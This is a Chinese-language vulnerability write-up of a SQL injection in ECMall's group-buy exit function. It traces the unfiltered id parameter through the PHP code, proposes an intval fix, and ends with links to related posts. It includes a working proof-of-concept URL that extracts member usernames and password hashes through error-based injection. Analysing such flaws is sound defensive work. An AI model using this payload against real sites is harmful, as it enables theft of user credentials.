catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

2. 漏洞触发条件

0x1: POC

http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b

3. 漏洞影响范围
4. 漏洞代码分析

/app/buyer_groupbuy.app.php

function exit_group()
{
//未对$id进行规范化过滤,导致攻击者可以传入非int型数据
$id = empty($_GET['id']) ? : $_GET['id'];
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

跟进if (!$this->_ican($id, ACT))

function _ican($id, $act = '')
{
$state_permission = array(
GROUP_PENDING => array(),
GROUP_ON => array('view', 'exit_group'),
GROUP_END => array('view'),
GROUP_FINISHED => array('view', 'buy'),
GROUP_CANCELED => array('view')
); $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array(
'conditions' => 'gb.group_id=' . $id, //传入未过滤的$id参数
'order' => 'gb.group_id DESC',
'fields' => 'gb.state,groupbuy_log.order_id'
)));
if (!$group)
{
return false; // 越权或没有该团购
}
else
{
$state_permission[GROUP_FINISHED] = $group['order_id'] > ? array('view', 'view_order') : array('view', 'buy');
}
if (empty($act))
{
return $state_permission[$group['state']]; // 返回该团购此状态时允许的操作
}
return in_array($act, $state_permission[$group['state']]) ? true : false; // 该团购此状态是否允许执行此操作
}

继续跟进$this->_member_mod->getRelatedData
/eccore/model/mode.base.php

function getRelatedData($relation_name, $ids, $find_param = array())
{
$relation_info = $this->getRelation($relation_name);
$model =& m($relation_info['model']);
if (empty($ids))
{
$this->_error('no_ids_to_assoc', $model->getName()); return false;
} if ($relation_info['type'] != HAS_MANY && $relation_info['type'] != HAS_AND_BELONGS_TO_MANY)
{
$this->_error('invalid_assoc_model', $model->getName()); return false;
} $alias = $model->alias;
/* 如果是多对多关系,则连接的表的别名为指定别名或中间表名,否则为模型的别名 */
if ($relation_info['type'] == HAS_AND_BELONGS_TO_MANY)
{
$be_related = $model->getRelation($relation_info['reverse']);
$alias = isset($be_related['alias']) ? $be_related['alias'] : $be_related['middle_table'];
} /* 构造查询条件 */
$conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定
$conditions .= $relation_info['ext_limit'] ?
' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias)
: '';
$conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : '';
$find_param['conditions'] = $conditions; /* 查询字段 */
$find_param['fields'] = !empty($find_param['fields']) ?
$find_param['fields'] . ',' . $alias . '.' .$relation_info['foreign_key']
: '';
switch ($relation_info['type'])
{
case HAS_MANY:
break;
case HAS_AND_BELONGS_TO_MANY:
$find_param['join'] = !empty($find_param['join']) ?
$find_param['join'] . ',' . $relation_info['reverse']
: $relation_info['reverse'];
empty($find_param['order']) && $find_param['order'] = $model->alias . ".{$model->prikey} DESC";
$find_param['index_key'] = array($relation_info['foreign_key'], $model->prikey);
break;
} return $model->find($find_param);
}

5. 防御方法

/app/buyer_groupbuy.app.php

function exit_group()
{
//通过intval进行规范化过滤
//$id = empty($_GET['id']) ? 0 : $_GET['id'];
$id = empty($_GET['id']) ? : intval( $_GET['id'] );
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

ECMall /app/buyer_groupbuy.app.php SQL Injection Vul的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. discuz /faq.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . 通过获取管理员密码 . 对管理员密码进行破解.通过在cmd5.com ...

  4. ecshop /goods.php SQL Injection Vul

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...

  5. ecshop /category.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...

  6. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...

  7. ecshop /flow.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...

  8. ecshop /includes/modules/payment/alipay.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...

  9. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

随机推荐

  1. hadoop 2.6伪分布安装

    hadoop 2.6的“伪”分式安装与“全”分式安装相比,大部分操作是相同的,主要区别在于不用配置slaves文件,而且其它xxx-core.xml里的参数很多也可以省略,下面是几个关键的配置: (安 ...

  2. eclipse/intellij Idea集成jetty

    jetty相对weblogic.jboss.tomcat而言,启动速度快,十分方便开发调试,以下是eclipse里的使用步骤: 一.eclipse->Marketplace里搜索 jetty 一 ...

  3. java基础:所有参数皆是按值参数

    c#中对于参数的传递,有二种处理方式,默认情况下:值类型的参数,按值传递(即:方法体内的参数是原值的副本):引用类型的参数,"加ref关键字后“,按引用传递(即:方法体内的参数,是对象的指针 ...

  4. lecture9-提高模型泛化能力的方法

    HInton第9课,这节课没有放论文进去.....如有不对之处还望指正.话说hinton的课果然信息量够大.推荐认真看PRML<Pattern Recognition and Machine L ...

  5. 对《重建中国.NET生态系统》评论贴的总结

    Neuzilla官方微信公众号:搜 架构师联盟 或 neuzilla,也可以扫下面二维码 在看了<重建中国.NET生态系统>的各种哭爹喊娘骂街的评论之后,我觉得哦,淫才确实很多,但是么真正 ...

  6. 手把手教你在Windows下搭建React Native Android开发环境

    最近看到React Native好像好厉害的样子,好奇心驱使之下体验了一下并将在Window下搭建React Natvie Android环境的步骤记录下来,并有需要的朋友参考.(我都是参考官方文档的 ...

  7. .Net分布式异常报警系统-客户端及服务端API

    客户端 客户端的作用就是捕获未处理异常, 发送异常到服务端. 关于捕获未处理异常的方法参考 http://www.cnblogs.com/youring2/archive/2012/04/25/246 ...

  8. P值与significant(显著性)的理解

    P值与significant的理解 来源:广州市统计局   发表日期:2015-01-21     P值可以理解为结论的风险大小,也就是根据数据得出的结果有多大的错误风险,P值越小,结论错误的风险越小 ...

  9. DNS资源纪录(Resource Record)介绍

          http://dns-learning.twnic.net.tw/bind/intro6.html 类型 SOA NS A AAAA PTR CNAME MX -------------- ...

  10. We Know What @You #Tag: Does the Dual Role Affect Hashtag Adoption-20160520

    分析类的论文 1.Information publication:www2012 author: Mei qiao zhu 2.What 微博中的hashtag既可以表示谈论的内容,又可以代表一个群体 ...